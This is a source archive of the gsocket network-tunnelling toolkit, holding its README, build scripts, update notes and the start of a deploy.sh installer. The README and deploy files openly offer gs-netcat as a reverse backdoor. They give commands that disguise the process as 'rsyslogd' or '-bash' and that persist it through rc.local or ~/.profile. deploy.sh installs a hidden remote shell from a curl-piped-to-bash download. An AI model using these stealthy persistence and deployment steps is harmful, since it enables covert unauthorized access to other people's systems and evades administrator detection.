pax_global_header 0000666 0000000 0000000 00000000064 14072625040 0014512 g ustar 00root root 0000000 0000000 52 comment=09d91447c209ffedc8184f3ea3c2bd871eb3e37d
gsocket-1.4.33/ 0000775 0000000 0000000 00000000000 14072625040 0013241 5 ustar 00root root 0000000 0000000 gsocket-1.4.33/ChangeLog 0000664 0000000 0000000 00000001107 14072625040 0015012 0 ustar 00root root 0000000 0000000
1.4.31-dev - 2021-06-08
* Protocol 1.3 - BREAKS BACKWARD COMPATIBILITY
* New Key Deriviation Method and fixed gs secret length
* -v, -vv and -vvv for verbosity
* Auto-Reconnect for -l (server) when DNS fails and keep re-trying
until success.
* Downgraded automake requirements to 2.69
* deploy.sh support for Raspberry PI 4b+ (armv7l)
* Debian HURD support (https://www.debian.org/ports/hurd/)
* unique exit() codes (thanks acpizer!)
* =Secret without quotes for easy cut & paste on windows (thanks CuCai!)
* CHANGELOG (thanks xaitax!)
gsocket-1.4.33/LICENSE 0000775 0000000 0000000 00000002521 14072625040 0014251 0 ustar 00root root 0000000 0000000 /*
* Copyright (C) 2002-3020 skyper@thc.org
* All rights reserved.
*
* Redistribution and use in source and binary forms, with or without
* modification, are permitted provided that the following conditions
* are met:
* 1. Redistributions of source code must retain the above copyright
* notice, this list of conditions and the following disclaimer.
* 2. Redistributions in binary form must reproduce the above copyright
* notice, this list of conditions and the following disclaimer in the
* documentation and/or other materials provided with the distribution.
*
* THIS SOFTWARE IS PROVIDED BY THE AUTHOR AND CONTRIBUTORS ``AS IS'' AND
* ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE
* IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE
* ARE DISCLAIMED. IN NO EVENT SHALL THE AUTHOR OR CONTRIBUTORS BE LIABLE
* FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL
* DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS
* OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION)
* HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT
* LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY
* OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF
* SUCH DAMAGE.
*/
gsocket-1.4.33/Makefile.am 0000775 0000000 0000000 00000000266 14072625040 0015304 0 ustar 00root root 0000000 0000000 SUBDIRS = lib tools man examples include
EXTRA_DIST = README.md config bootstrap tests/Makefile tests/run_all_tests.sh tests/run_gs_tests.sh tests/run_ft_tests.sh LICENSE ChangeLog
gsocket-1.4.33/README.md 0000775 0000000 0000000 00000034325 14072625040 0014532 0 ustar 00root root 0000000 0000000 # Global Socket
[](https://github.com/hackerschoice/gsocket/releases/)
[](https://opensource.org/licenses/BSD-2-Clause)
[](https://www.gsocket.io/)
[](https://www.gsocket.io/)
[](https://www.gsocket.io/)
[](https://www.gsocket.io/)
[](https://github.com/hackerschoice/gsocket/graphs/commit-activity)
[](https://www.gsocket.io/)
[](https://GitHub.com/hackerschoice/gsocket/)
[](https://t.me/thcorg/)
[](https://twitter.com/hackerschoice)
[](https://GitHub.com/hackerschoice/gsocket/stargazers/)
**Connect like there is no firewall. Securely.**
The Global Socket Tookit allows two users behind NAT/Firewall to establish a TCP connection with each other. Securely.
More on [https://www.gsocket.io](https://www.gsocket.io).
[](https://www.youtube.com/watch?v=tmf9VGDPILE)
Video 1: [gs-netcat reverse login shell and EEElite-console](https://www.youtube.com/watch?v=tmf9VGDPILE)
Video 2: [Using gsocket to hijack OpenSSH](https://www.youtube.com/watch?v=Nn6BAeeVJIc)
Video 3: [Blitz files through firewalls](https://www.thc.org/gsocket-anim2.gif)
**Features:**
- Uses the Global Socket Relay Network to connect TCP pipes
- End-2-End encryption (using OpenSSL's SRP / [RFC 5054](https://tools.ietf.org/html/rfc5054))
- AES-256 & key exchange using 4096-bit Prime
- No PKI required.
- Perfect Forward Secrecy
- TOR support (optional)
Abandon the thought of IP Addresses and Port Numbers. Instead start thinking that two programs should be able to communicate with each other as long as they know the same secret (rather than each other\'s IP Address and Port Number). The Global Socket library facilitates this: It locally derives temporary session keys and IDs and connects two programs through the Global Socket Relay Network (GSRN) regardless and independent of the local IP Address or geographical location. Once connected the library then negotiates a secure TLS connection(End-2-End). The secret never leaves your workstation. **The GSRN sees only the encrypted traffic**.
The [GSRN](https://www.gsocket.io/gsrn) is a free cloud service and is free to use by anyone.
The Global Socket Toolkit comes with a set of tools:
* **gsocket** - Makes an existing program (behind firewall or NAT) accessible from anywhere in the world. It does so by analyzing the program and replacing the IP-Layer with its own Gsocket-Layer. A client connection to a hostname ending in *'\*.gsocket'* then gets automatically redirected (via the GSRN) to this program.
* **gs-netcat** - Netcat on steroids. Turn gs-netcat into an AES-256 encrypted reverse backdoor via TOR (optional) with a true PTY/interactive command shell (```gs-netcat -s MySecret -i```), integrated file-transfer, spawn a Socks4/4a/5 proxy or forward TCP connections or give somebody temporary shell access.
* **gs-sftp** - sftp server & client between two firewalled workstations (```gs-sftp -s MySecret```)
* **gs-mount** - Access and mount a remote file system (```gs-mount -s MySecret ~/mnt/warez```)
* **blitz** - Copy data from workstation to workstation (```blitz -s MySecret /usr/share/*```)
* ...many more examples and tools.
|
----------|-------------
Download|[gsocket-1.4.32.tar.gz](https://github.com/hackerschoice/gsocket/releases/download/v1.4.32/gsocket-1.4.32.tar.gz) (Linux, MacOS, FreeBSD, Solaris)
Debian/Ubuntu| [gsocket_1.4.32_all.deb](https://github.com/hackerschoice/binary/raw/main/gsocket/latest/gsocket_1.4.32_all.deb)
Windows| use docker or cygwin
Man Page| [gsocket(1)](https://hackerschoice.github.io/gsocket.1.html), [gs-netcat(1)](https://hackerschoice.github.io/gs-netcat.1.html), [gs-mount(1)](https://hackerschoice.github.io/gs-mount.1.html), [gs-sftp(1)](https://hackerschoice.github.io/gs-sftp.1.html), [blitz(1)](https://hackerschoice.github.io/blitz.1.html)
Docker| docker run --rm -it hackerschoice/gsocket
Docker| docker run --rm -it hackerschoice/gsocket-tor # gs via TOR
# ***Version 1.4.32 and later break backward compatibility to older (obsolete) gs-netcats. It will not connect to older gs-netcats or vice versa. Update both ends to 1.4.32 or later.***
---
**Examples**
|
----------|-------------
All| [examples](examples)
OpenSSH via GSRN| [examples/sshd](examples/sshd)
WireGuard via GSRN| [examples/wireguard](examples/wireguard)
Root-Shell via GSRN| [examples/systemd-root-shell](examples/systemd-root-shell)
IRCD via GSRN| [examples/port-forward](examples/port-forward)
---
**Installation:**
```
$ /bin/bash -c "$(curl -fsSL https://tiny.cc/gsinst)"
```
---
**Usage:**
1. SSH from *Workstation B* to *Workstation A* through any firewall/NAT
```
$ gsocket /usr/sbin/sshd # Workstation A
$ gsocket ssh root@gsocket # Workstation B
```
See also: [gsocket(1)](https://hackerschoice.github.io/gsocket.1.html)
2. OpenVPN between two firewalled workstations:
```
$ gsocket openvpn --dev tun1 --proto tcp-server --ifconfig 10.9.8.1 10.9.8.2 # Workstation A
$ gsocket openvpn --dev tun1 --proto tcp-client --ifconfig 10.9.8.2 10.9.8.1 --remote gsocket # Workstation B
```
See also: [gsocket(1)](https://hackerschoice.github.io/gsocket.1.html)
3. Log in to Workstation A from Workstation B through any firewall/NAT
```
$ gs-netcat -l -i # Workstation A
$ gs-netcat -i # Workstation B
```
See also: [gs-netcat(1)](https://hackerschoice.github.io/gs-netcat.1.html)
2. Transfer files from *Workstation B* to *Workstation A*
```
$ blitz -l # Workstation A
$ blitz /usr/share/* /etc/* # Workstation B
```
See also: [blitz(1)](https://hackerschoice.github.io/blitz.1.html)
3. SFTP through Global Socket Relay Network
```
$ gs-sftp -l # Workstation A
$ gs-sftp # Workstation B
```
See also: [gs-sftp(1)](https://hackerschoice.github.io/gs-sftp.1.html)
4. Mount *Workstation A's* directory from *Workstation B*
```
$ gs-mount -l # Workstation A
$ gs-mount ~/mnt # Workstation B
```
See also: [gs-mount(1)](https://hackerschoice.github.io/gs-mount.1.html)
5. Pipe data from Workstation B to Workstation A
```
$ gs-netcat -l -r >warez.tar.gz # Workstation A
$ gs-netcat
```
---
**Pro-Tips:**
1. Force TOR or fail:
Add -T to relay your traffic through TOR or use these environment variable to force TOR or fail gracefully if TOR is not running:
```
$ export GSOCKET_SOCKS_IP=127.0.0.1
$ export GSOCKET_SOCKS_PORT=9050
```
2. A reverse backdoor
The backdoor supports multiple concurrent connections and spawns a real PTY/interactive-shell with ctrl-c and colors working (like OpenSSH does).
```
$ gs-netcat -k keyfile.txt -l -i # Host
$ gs-netcat -k keyfile.txt -T -i # Workstation (via Tor & Global Socket Relay)
```
Add -D on the host side to run gs-netcat as a daemon and in watchdog-mode: The backdoor will automatically restart if it is ever killed.
3. Use -k
Using -s is not secure. Add your *secret* to a file and use -k <filen> or use GSOCKET_ARGS or enter the password when prompted.
```
$ gs-netcat -k MyFile.txt
$ export GSOCKET_ARGS="-s MySecret"
$ gs-netcat -l
```
Use this command to generate a new secure password at random:
```
$ gs-netcat -g
```
4. Hide your arguments (argv)
Pass the arguments by environment variable (GSOCKET_ARGS) and use a bash-trick to hide gs-netcat binary in the process list:
```
$ export GSOCKET_ARGS="-s MySecret -li -q -D"
$ exec -a -bash ./gs-netcat & # Hide as '-bash'.
$ ps alxww | grep gs-netcat
$ ps alxww | grep -bash
1001 47255 1 0 26 5 4281168 436 - SNs ?? 0:00.00 -bash
```
5. Start backdoor after reboot
Combine what you have learned so far and make your backdoor restart after reboot (and as a hidden service obfuscated as *rsyslogd*). Use any of the start-up scripts, such as */etc/rc.local*:
```
$ cat /etc/rc.local
#! /bin/sh -e
GSOCKET_ARGS="-s MySecret -liqD" HOME=/root TERM=xterm-256color SHELL="/bin/bash" /bin/bash -c "cd $HOME; exec -a rsyslogd /usr/local/bin/gs-netcat"
exit 0
```
Not all environment variables are set during system bootup. Set some variables to make the backdoor more enjoyable: *TERM=xterm-256color* and *SHELL=/bin/bash* and *HOME=/root*. The startup script (*/etc/rc.local*) uses */bin/sh* which does not support our *exec -a* trick. Thus we use */bin/sh* to start */bin/bash* which in turn does the *exec -a* trick and starts *gs-netcat*. Puh. The gs-netcat process is hidden (as *rsyslogd*) from the process list. Read [how to enable rc.local](https://linuxmedium.com/how-to-enable-etc-rc-local-with-systemd-on-ubuntu-20-04/) if */etc/rc.local* does not exist.
Alternatively install gs-netcat as a [systemd service](examples/systemd-root-shell).
Starting when the user logs in (and only once) can be done by adding this line to the user's *~/.profile* file:
```
killall -0 gs-netcat 2>/dev/null || (GSOCKET_ARGS="-s MySecret2 -liqD" SHELL=/bin/bash exec -a -bash /usr/local/bin/gs-netcat)
```
Starting a port-forward during bootup. This one forwards TCP to 127.0.0.1:22 (example):
```
GSOCKET_ARGS="-k MySecret3 -lqD -d 127.1 -p22" /bin/bash -c "exec -a rsyslogp /usr/local/bin/gs-netcat"
```
---
**Crypto / Security Mumble Jumble**
1. The security is end-2-end. This means from User-2-User (and not just to the Relay Network). The Relay Network relays only (encrypted) data to and from the Users.
2. The session key is 256 bit and ephemeral. It is freshly generated for every session and generated randomly (and is not based on the password).
3. The password can be 'weak' without weakening the security of the session. A brute force attack against a weak password requires a new TCP connection for every guess.
4. Do not use stupid passwords like 'password123'. Malice might pick the same (stupid) password by chance and connect. If in doubt use *gs-netcat -g* to generate a strong one. Alice's and Bob's password should at least be strong enough so that Malice can not guess it by chance while Alice is waiting for Bob to connect.
5. If Alice shares the same password with Bob and Charlie and either one of them connects then Alice can not tell if it is Bob or Charlie who connected.
6. Assume Alice shares the same password with Bob and Malice. When Alice stops listening for a connection then Malice could start to listen for the connection instead. Bob (when opening a new connection) can not tell if he is connecting to Alice or to Malice. Use -a <token> if you worry about this. TL;DR: When sharing the same password with a group larger than 2 then it is assumed that everyone in that group plays nicely. Otherwise use SSH over the GS/TLS connection.
7. SRP has Perfect Forward Secrecy. This means that past sessions can not be decrypted even if the password becomes known.
8. It is possible (by using traffic analytics) to determine that Alice is communicating with Bob. The content of such communcitation is however secret (private) and can not be revealed by an ISP or the GSRN backend. The gsocket tools (such as gs-netcat) support the -T flag to anonymize the traffic via TOR.
9. I did not invent SRP. It's part of OpenSSL :>
---
If netcat is a swiss army knife then gs-netcat is a germanic battle axe...
--acpizer/UnitedCrackingForce
Join us
Telegram: https://t.me/thcorg
Twitter: https://twitter.com/hackerschoice
shoutz: D1G, xaitax, #!adm
gsocket-1.4.33/bootstrap 0000775 0000000 0000000 00000001647 14072625040 0015214 0 ustar 00root root 0000000 0000000 #! /bin/sh
DIE=0
(autoconf --version) < /dev/null > /dev/null 2>&1 || {
echo
echo "You must have autoconf installed."
DIE=1
}
# libtool --version check not done...
(automake --version) < /dev/null > /dev/null 2>&1 || {
echo
echo "You must have automake installed."
DIE=1
}
if test "$DIE" -eq 1; then
exit 1
fi
echo Removing old files...
rm -f configure Makefile Makefile.in tools/Makefile tools/Makesfile.in src/Makefile src/Makefile.in config.h config.status aclocal.m4 config.cache config.log
[ -d "config" ] && rm -rf config
mkdir config
echo "aclocal -I ."
aclocal -I .
if test $? -ne 0; then
exit 1
fi
# glibtoolize -c
echo "autoheader"
autoheader
if test $? -ne 0; then
exit 1
fi
echo "automake --foreign --add-missing -Wno-syntax"
automake --foreign --copy --add-missing -Wno-syntax
if test $? -ne 0; then
exit 1
fi
echo "autoconf"
autoconf
echo "BOOTSTRAP complete"
gsocket-1.4.33/configure.ac 0000664 0000000 0000000 00000017355 14072625040 0015542 0 ustar 00root root 0000000 0000000 dnl Process this File with autoconf to produce a configure script.
AC_PREREQ([2.69])
AC_INIT([gsocket],[1.4.33])
AC_CONFIG_AUX_DIR(config)
AC_CANONICAL_TARGET
dnl we use automake
AM_INIT_AUTOMAKE([foreign])
AC_CONFIG_HEADERS(config.h)
AM_PROG_AR
dnl for --enable-maintainer-mode fun use:
dnl AM_MAINTAINER_MODE
dnl AC_DISABLE_STATIC
dnl LT_INIT([disable-static])
dnl AC_CONFIG_MACRO_DIRS([m4])
dnl Checks for programs.
AC_PROG_CC
AC_PROG_INSTALL
AC_PROG_RANLIB
dnl
dnl Use these compiler flags if we have gcc.
dnl
if test $ac_cv_c_compiler_gnu = yes; then
CCOPTS='-O2 -Wall'
CFLAGS="$CCOPTS $CFLAGS"
fi
test "x$prefix" != "xNONE" || prefix="/usr/local"
test "x$exec_prefix" != "xNONE" || exec_prefix="${prefix}"
dnl trydir_i="${prefix}/include /usr/include"
dnl trydir_l="${prefix}/lib /usr/lib"
dnl trydir_i="${includedir}"
dnl trydir_l="${libdir}"
dnl if test "${prefix}" != "/usr/local" ; then
dnl trydir_i="${trydir_i} /usr/local/include"
dnl trydir_l="${trydir_l} /usr/local/lib"
dnl fi
dnl Try include paths (especially on OSX)
trydir_i="${includedir} /usr/local/include /usr/local/opt/openssl/include /opt/homebrew/opt/openssl/include"
for xincdir in $trydir_i ; do
if test ! -d "$xincdir" ; then
continue;
fi
if test x"${INCLUDES}" = x; then
INCLUDES="-I${xincdir}";
else
INCLUDES="$INCLUDES -I${xincdir}";
fi
done
CPPFLAGS="-I${srcdir}/../include ${INCLUDES} $CPPFLAGS"
dnl Try library paths...
trydir_l="${libdir} /usr/local/lib /usr/local/opt/openssl/lib /opt/homebrew/opt/openssl/lib"
for xlibdir in $trydir_l ; do
if test ! -d "$xlibdir" ; then
continue;
fi
if test -f "${xlibdir}/libssl.a"; then
STATIC_LIBSSLDIR="${xlibdir}"
fi
if test x"${LIBDIR}" = x; then
LIBDIR="-L${xlibdir}";
else
LIBDIR="$LIBDIR -L${xlibdir}";
fi
done
LDFLAGS="${LIBDIR} $LDFLAGS"
dnl default perm of .so is 644 but on cygwin must be 755.
PERM_DSO="644"
case "$host" in
*-cygwin*)
PERM_DSO="755"
;;
mips-sony-bsd|mips-sony-newsos4)
AC_DEFINE([NEED_SETPGRP], [1], [Need setpgrp to acquire controlling tty])
;;
*-*-ultrix*)
AC_DEFINE([NEED_SETPGRP], [1], [Need setpgrp to acquire controlling tty])
;;
*-*-darwin*|*-*-*bsd*)
AC_DEFINE([BSD_SCRIPT], [1], [/usr/bin/script is the bsd variant])
if test x"$(which ar)" != x'/usr/bin/ar'; then
ARDIRWARN=1
fi
;;
esac
dnl debian packaging requires -soname for LD_PRELOAD libs
dnl OSX's linker does not allow -soname.
SONAME_GSOCKET_DSO="-Wl,-soname=gsocket_dso.so.0"
SONAME_GSOCKET_UCHROOT_DSO="-Wl,-soname=gsocket_uchroot_dso.so.0"
case "$host" in
*-*-darwin*)
SONAME_GSOCKET_DSO=""
SONAME_GSOCKET_UCHROOT_DSO=""
;;
esac
dnl Checks for header files.
AC_HEADER_SYS_WAIT
AC_CHECK_HEADERS(sys/time.h sys/endian.h unistd.h fnmatch.h string.h utmp.h utmpx.h pty.h openssl/srp.h util.h libutil.h netinet/in_systm.h sys/loadavg.h libproc.h)
AC_CHECK_HEADER(openssl/srp.h, [], [AC_MSG_ERROR([openssl/srp.h not found. Update OpenSSL or apt install libssl-dev?])])
dnl Checks for typedefs, structures, and compiler characteristics.
AC_C_CONST
AC_TYPE_PID_T
dnl Checks for library functions.
AC_FUNC_MEMCMP
dnl If size_t is not defined, define size_t to be unsigned.
AC_TYPE_SIZE_T
dnl If uid_t is not defined, define uid_t to be int and gid_t to be int.
AC_TYPE_UID_T
AC_ARG_ENABLE(static,
[ --enable-static Compile static binary],
[STATIC="yes"], [STATIC="no"]
)
dnl OSX does not support static binaries.
dnl At least staticly include OpenSSL libs
if test x"${STATIC}" = xyes; then
case "$host" in
*-*-darwin*)
LDADD_STATIC="${STATIC_LIBSSLDIR}/libssl.a ${STATIC_LIBSSLDIR}/libcrypto.a"
AC_DEFINE(HAVE_LIBSSL, 1, [Define to 1 if you have the `ssl' library (-lssl)])
AC_DEFINE(HAVE_LIBCRYPTO, 1, [Define to 1 if you have the `crypto' library (-lcrypto)])
STATIC_SSL="yes"
;;
*)
CFLAGS_STATIC="-static "
;;
esac
fi
AC_CHECK_LIB(util, forkpty)
AC_CHECK_LIB(socket, socket)
if test x"${STATIC}" = xno; then
AC_CHECK_LIB(nsl, gethostbyname)
fi
dnl AC_CHECK_LIB([net], [libnet_name_resolve], [AC_MSG_ERROR([libnet 1.0.x found. Requires libnet 1.1 or newer])])
dnl AC_CHECK_LIB([net], [libnet_init], ,[AC_MSG_ERROR([libnet 1.1.x not found])])
if test x"$STATIC" = xno; then
AC_CHECK_LIB(dl, dlopen)
fi
AC_CHECK_LIB(procstat, procstat_close)
dnl
if test x"$STATIC_SSL" != xyes; then
AC_CHECK_LIB([crypto], [ENGINE_init], [], [AC_MSG_ERROR([libcrypto not found])])
AC_CHECK_LIB([ssl], [SRP_VBASE_get1_by_user], [], [AC_MSG_ERROR([SRP not supported. Please upgrade OpenSSL lib])])
fi
AC_CHECK_FUNCS(gettimeofday memcpy strchr strlcat forkpty openpty getline stat64 open64 statvfs64 accept4 connectx)
AC_ARG_ENABLE([31337],
AS_HELP_STRING([--enable-31337], [Enable experimental features.]),
AC_DEFINE(D31337, 1, [Expermental feature])
)
AC_ARG_ENABLE([debug],
AS_HELP_STRING([--enable-debug], [Enable debug information.]),
[debug=true AC_DEFINE(DEBUG, 1, [Debug infos])]
)
AC_ARG_ENABLE([tests],
AS_HELP_STRING([--enable-tests], [Enable self-tests.]),
[selftests=true]
)
AS_IF([test x$enable_debug = xyes], AC_DEFINE(D31337, 1, [Expermental feature]))
AS_IF([test x$enable_debug = xyes], [selftests=true])
AS_IF([test x$selftests = xtrue], AC_DEFINE(SELFTESTS, 1, [Self Tests]))
AC_ARG_ENABLE(dist,
[ --enable-dist Enable distribution mode, Use own libraries.],
[DIST="yes"], [DIST="no"]
)
AC_ARG_ENABLE(realprefix,
[ --enable-realprefix Set real prefix (for dpkg packaging)],
[REALPREFIX="${enableval}"], [REALPREFIX="${prefix}"]
)
AS_IF([test x$selftests = xtrue], AC_SUBST(PROGRAMS_TEST_LIB, "list-test${EXEEXT} event-test${EXEEXT}"))
AS_IF([test x$selftests = xtrue], AC_SUBST(PROGRAMS_TEST_TOOLS, "packet-test${EXEEXT} readline-test${EXEEXT} console_display-test${EXEEXT} filetransfer-test${EXEEXT}"))
AC_SUBST(LDADD_STATIC, "${LDADD_STATIC}")
AC_SUBST(CFLAGS_STATIC, "${CFLAGS_STATIC}")
AC_SUBST(PERM_DSO, "${PERM_DSO}")
AC_SUBST(SONAME_GSOCKET_DSO, "${SONAME_GSOCKET_DSO}")
AC_SUBST(SONAME_GSOCKET_UCHROOT_DSO, "${SONAME_GSOCKET_UCHROOT_DSO}")
AC_SUBST(REALPREFIX, "${REALPREFIX}")
AC_CONFIG_FILES([Makefile lib/Makefile tools/Makefile include/Makefile include/gsocket/Makefile tools/gsocket.conf man/Makefile examples/Makefile])
AC_OUTPUT
echo "
\"If netcat is a swiss army knife then
gs-netcat is a germanic battle axe\"
--acpizer/United Cracking Force
"
if test x"${STATIC}" = xyes; then
case "$host" in
*-*-darwin*)
echo "
*** OSX does not support static binaries. Creating dynamic binaries ***
*** instead and trying our best to included OpenSSL statically. ***
"
;;
*)
echo "
********************************** WARNING ***********************************
* Your MUST compile OpenSSL like this: *
* openssl-src> *
* ./Configure --prefix=\$HOME/usr no-dso no-threads no-shared linux-generic64 *
* mkdir -p \$HOME/usr && make all install *
* Only then compile gsocket \(using the same --prefix=\): *
* gsocket-src> ./configure --prefix=\$HOME/usr --enable-static *
* gsocket-src> make all install *
* gsocket-src> export PATH=\$HOME/usr/bin:\$PATH *
******************************************************************************
"
;;
esac
fi
echo "
${PACKAGE_NAME}-${PACKAGE_VERSION} has been configured:
Host..............: ${host}
Compiler..........: ${CC}
Compiler flags....: ${CFLAGS_STATIC}${CFLAGS}
Preprocessor flags: ${CPPFLAGS}
Linker flags......: ${LDFLAGS}
Libraries.........: ${LIBS}
Configuration complete. Now type: make all install"
if test x"${ARDIRWARN}" = x1; then
AC_MSG_WARN([Build tools seem to be a mix of GNU and Apple.])
AC_MSG_WARN([Alex, try 'PATH=/usr/bin:\$PATH ./configure'.])
fi
gsocket-1.4.33/deploy/ 0000775 0000000 0000000 00000000000 14072625040 0014535 5 ustar 00root root 0000000 0000000 gsocket-1.4.33/deploy/README-update.md 0000664 0000000 0000000 00000002423 14072625040 0017275 0 ustar 00root root 0000000 0000000
All gs-netcat installations need to be updated to version 1.4.32 or later.
How to update a deployed gs-netcat from https://www.gsocket.io/deploy to the latest gs-netcat version.
---
1. Verify which version of gs-netcat is running on your workstation
```
gs-netcat -h 2>&1 | grep GS
OpenSSL 1.1.1k 25 Mar 2021 [0x101010bfL] (GS v1.4.30)
```
2. Use any of these commands to log into your old session:
```
gs-netcat -i
S=YourSecret bash -c "$(curl -fsSL gsocket.io/xold)"
S=YourSecret bash -c "$(wget -qO- gsocket.io/xold)"
```
3. On the remote shell execute these commands:
```
GS_UNDO=1 bash -c "$(curl -fsSL gsocket.io/xold)"
GSPID=$(pidof gs-bd)
X=YourSecret bash -c "$(curl -fsSL gsocket.io/x)"
kill $GSPID
```
4. Update gs-netcat on your workstation to 1.4.32 or later (alternatively see Pro-Tip below):
```
/bin/bash -c "$(curl -fsSL https://tiny.cc/gsinst)"
```
5. Log in to your newly deployed gs-netcat (using verion 1.4.32 or later) with any of these commands:
```
gs-netcat -i
S=YourSecret bash -c "$(curl -fsSL gsocket.io/x)"
S=YourSecret bash -c "$(wget -qO- gsocket.io/x)"
```
---
Pro-Tip: Upgrade your local gs-netcat with the static binary with any of these commands:
```
GS_UPDATE=1 bash -c "$(curl -fsSL gsocket.io/x)"
GS_UPDATE=1 bash -c "$(wget -qO- gsocket.io/x)"
```
gsocket-1.4.33/deploy/deploy.sh 0000775 0000000 0000000 00000052225 14072625040 0016376 0 ustar 00root root 0000000 0000000 #! /usr/bin/env bash
# Install and start a permanent gs-netcat remote login shell
#
# This script is typically invoked like this as root or non-root user:
# $ bash -c"$(curl -fsSL gsocket.io/x)"
#
# Pre-set a secret:
# $ X=MySecret bash -c "$(curl -fsSL gsocket.io/x)"
# Uninstall
# $ GS_UNDO=1 bash -c" $(curl -fsSL gsocket.io/x)"
# Access
# $ S=MySecret bash -c "$(curl -fsSL goscket.io/x)""
#
#
# This can be used when:
# - gs-netcat is _not_ installed
# - quick way to retain access to any shell (root and non-root)
#
# E.g. This command installs and starts a reverse shell:
# $ bash -c "$(curl -fsSL gsocket.io/x)"
#
# Steps taken:
# 1. Download pre-compiled binary
# 2. Create a new secret (random)
# 3. Start gs-netcat as interactive remote login shell
# 4. Install gs-netcat to start automatically after reboot
# Global Defines
URL_BASE="https://github.com/hackerschoice/binary/raw/main/gsocket/bin/"
URL_DEPLOY="gsocket.io/x"
DL_CRL="bash -c \"\$(curl -fsSL $URL_DEPLOY)\""
DL_WGT="bash -c \"\$(wget -qO- $URL_DEPLOY)\""
# DL_CMD="$DL_CRL"
BIN_HIDDEN_NAME_DEFAULT=gs-bd
PROC_HIDDEN_NAME_DEFAULT=-bash
CY="\033[1;33m" # yellow
CG="\033[1;32m" # green
CR="\033[1;31m" # red
CC="\033[1;36m" # cyan
CM="\033[1;35m" # magenta
CN="\033[0m" # none
if [[ -z "$GS_DEBUG" ]]; then
DEBUGF(){ :;}
else
DEBUGF(){ echo -e "${CY}DEBUG:${CN} $*";}
fi
exit_clean()
{
[[ "${#TMPDIR}" -gt 5 ]] && { rm -rf "${TMPDIR:?}/"*; rmdir "${TMPDIR}"; } &>/dev/null
rm -rf "${GS_PREFIX}/etc/rc.local-old" &>/dev/null
rm -rf "${GS_PREFIX}/etc/rc.local-new" &>/dev/null
}
exit_code()
{
exit_clean
exit "$1"
}
errexit()
{
[[ -z "$1" ]] || echo -e 1>&2 "${CR}$*${CN}"
exit_code 255
}
# When all was successfull
exit_alldone()
{
echo 1>&1 "$*"
exit_code 0
}
# Called _after_ init_vars() at the end of init_setup.
init_dstbin()
{
# Try systemwide installation first
DSTBIN="${GS_PREFIX}/usr/bin/${BIN_HIDDEN_NAME}"
# check_rwx_bin "$DSTBIN"
# [[ -n $IS_DIR_WREX ]] && return
touch "$DSTBIN" &>/dev/null && { return; }
# Try user installation
mkdir -p "${GS_PREFIX}${HOME}/.usr/bin" &>/dev/null
DSTBIN="${GS_PREFIX}${HOME}/.usr/bin/${BIN_HIDDEN_NAME}"
touch "$DSTBIN" &>/dev/null && { return; }
# Try /tmp/.gs
DSTBIN="/tmp/.gs-${UID}/${BIN_HIDDEN_NAME}"
touch "$DSTBIN" &>/dev/null && { return; }
# Try /dev/shm as last resort
# This is often mounted noexec (e.g. docker)
DSTBIN="/dev/shm/${BIN_HIDDEN_NAME}"
touch "$DSTBIN" &>/dev/null && { return; }
errexit "FAILED. Can not find writeable directory."
}
init_vars()
{
# Select binary
local arch
arch=$(uname -m)
if [[ $OSTYPE == *linux* ]]; then
if [[ x"$arch" == "xi686" ]] || [[ x"$arch" == "xi386" ]]; then
OSARCH="i386-alpine"
elif [[ x"$arch" == "xarmv6l" ]] || [[ x"$arch" == "xarmv7l" ]]; then
OSARCH="armv6l-linux" # RPI-Zero / RPI 4b+
elif [[ x"$arch" == "xaarch64" ]]; then
OSARCH="aarch64-linux"
fi
elif [[ $OSTYPE == *darwin* ]]; then
if [[ x"$arch" == "xarm64" ]]; then
OSARCH="arm64-osx" # M1
else
OSARCH="x86_64-osx"
fi
elif [[ $OSTYPE == *FreeBSD* ]]; then
OSARCH="x86_64-freebsd"
elif [[ $OSTYPE == *cygwin* ]]; then
OSARCH="x86_64-cygwin"
# elif [[ $OSTYPE == *gnu* ]] && [[ "$(uname -v)" == *Hurd* ]]; then
# OSARCH="i386-hurd" # debian-hurd
fi
[[ -z "$OSARCH" ]] && OSARCH="x86_64-alpine" # Default: Try Alpine(muscl libc) 64bit
if [[ -d /dev/shm ]]; then
TMPDIR="/dev/shm/.gs-${UID}"
elif [[ -d /tmp ]]; then
TMPDIR="/tmp/.gs-${UID}"
fi
SRC_PKG="gs-netcat_${OSARCH}.tar.gz"
# Docker does not set USER
[[ -z "$USER" ]] && USER=$(id -un)
[[ -z "$UID" ]] && UID=$(id -u)
# OSX's pkill matches the hidden name and not the original binary name.
# Because we hide as '-bash' we can not pkill all -bash.
# 'killall' however matches gs-bd and on OSX we thus force killall
if [[ $OSTYPE == *darwin* ]]; then
KL_CMD="killall"
KL_CMD_UARG="-u${USER}"
elif command -v pkill >/dev/null; then
KL_CMD="pkill"
KL_CMD_UARG="-U${UID}"
elif command -v killall >/dev/null; then
KL_CMD="killall"
# cygwin's killall needs the name (not the uid)
KL_CMD_UARG="-u${USER}"
fi
command -v "$KL_CMD" >/dev/null || WARN "No pkill or killall found."
# command -v "$KL_CMD" >/dev/null || errexit "Need pkill or killall."
# Defaults
BIN_HIDDEN_NAME="${BIN_HIDDEN_NAME_DEFAULT}"
SEC_NAME="${BIN_HIDDEN_NAME_DEFAULT}.dat"
PROC_HIDDEN_NAME="$PROC_HIDDEN_NAME_DEFAULT"
SERVICE_HIDDEN_NAME="${BIN_HIDDEN_NAME}"
RCLOCAL_DIR="${GS_PREFIX}/etc"
RCLOCAL_FILE="${RCLOCAL_DIR}/rc.local"
RC_FILENAME=".profile"
RC_FILENAME_STATUS=".profile"
if [[ -f ~/.bashrc ]]; then
RC_FILENAME=".bashrc"
RC_FILENAME_STATUS=".bashrc." # for status output ~/.bashrc.....[OK]
fi
RC_FILE="${GS_PREFIX}${HOME}/${RC_FILENAME}"
SERVICE_DIR="${GS_PREFIX}/etc/systemd/system"
